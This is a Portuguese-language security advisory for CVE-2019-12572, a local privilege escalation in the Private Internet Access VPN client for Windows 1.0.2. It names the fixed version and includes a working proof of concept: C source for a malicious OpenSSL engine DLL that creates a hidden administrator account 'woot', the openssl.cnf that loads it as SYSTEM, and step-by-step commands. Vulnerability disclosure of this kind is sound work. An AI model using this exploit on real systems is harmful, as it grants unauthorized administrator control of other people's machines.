ASA-2019-00377 – London Trust Media Private Internet Access: Escalação de privilégios devido a engine OpenSSL maliciosa


For the English version of this alert, click here.

Allele Security Alert

ASA-2019-00377

Identificador(es)

ASA-2019-00377, CVE-2019-12572

Título

Escalação de privilégios devido a engine OpenSSL maliciosa

Fabricante(s)

London Trust Media, Inc

Produto(s)

Private Internet Access (PIA) VPN Client para Windows

Versão(ões) afetada(s)

Private Internet Access (PIA) VPN Client para Windows versão 1.0.2 (build 02363)

Versão(ões) Corrigida(s)

Private Internet Access (PIA) VPN Client para Windows versão v1.2.1

Prova de conceito

Sim

Descrição

Uma vulnerabilidade no Private Internet Access (PIA) VPN Client para windows versão 1.0.2 pode permitir que um atacante local autenticado execute código arbitrário com privilégios elevados.

Detalhes técnicos

Na inicialização, o serviço PIA Windows (pia-service.exe) carrega a biblioteca OpenSSL de C:\Program Files\Private Internet Access\libeay32.dll. Esta biblioteca tenta carregar o arquivo de configuração c:\etc\ssl\openssl.cnf que não existe. Por padrão, nos sistemas Windows, os usuários autenticados podem criar diretórios em c:\. Um usuário com poucos privilégios pode criar um arquivo de configuração openssl.cnf para carregar uma biblioteca mal-intencionada do mecanismo OpenSSL, resultando na execução arbitrária de códigos como SYSTEM quando o serviço é iniciado.

Passos para reproduzir

Nota: Todas as etapas são executadas usando uma conta com poucos privilégios.

1) Crie o diretório c:\etc\ssl

mkdir c:\etc\ssl

2) Crie uma biblioteca de mecanismo mal-intencionado chamada woot.dll para criar um administrador conta chamada woot quando carregada.

/* Cross Compile with
x86_64-w64-mingw32-g++ woot.c -o woot.dll -shared
*/
#include <windows.h>
BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpReserved )
{
    switch( fdwReason )
    {
    case DLL_PROCESS_ATTACH:
        system("cmd /c net user woot insertpasswordhere /add");
        system("cmd /c net localgroup administrators woot /add");
        break;
    case DLL_THREAD_ATTACH:
        // Do thread-specific initialization.
        break;
    case DLL_THREAD_DETACH:
        // Do thread-specific cleanup.
        break;
    case DLL_PROCESS_DETACH:
        // Perform any necessary cleanup.
        break;
    }
return TRUE; // Successful DLL_PROCESS_ATTACH.
}

3) Copie o arquivo malicioso woot.dll para a pasta c:\etc\ssl

copy woot.dll c:\etc\ssl

4) Crie o arquivo de configuração do OpenSSL em c:\etc\ssl\openssl.cnf com o seguinte conteúdo.

openssl_conf = openssl_init
[openssl_init]
engines = engine_section
[engine_section]
woot = woot_section
[woot_section]
engine_id = woot
dynamic_path = c:\\etc\\ssl\\woot.dll
init = 0

5) Reinicie o sistema porque um usuário de baixo privilégio não tem permissão para reinicie o serviço.

6) Após a reinicialização, faça o login e abra um shell de comando. Neste ponto a conta de administrador “woot” existirá.

net user woot

Créditos

Rich Mirch

Referência(s)

PIA Windows Privilege Escalation: Malicious OpenSSL engine
https://github.com/mirchr/security-research/blob/master/vulnerabilities/PIA/CVE-2019-12572.txt

CVE-2019-12572
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12572

CVE-2019-12572
https://nvd.nist.gov/vuln/detail/CVE-2019-12572

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 26 junho 2019

Não somos responsáveis por qualquer perda de dados, corrupção de dispositivos ou qualquer outro tipo de problema devido ao uso de qualquer informação mencionada em nossos alertas de segurança.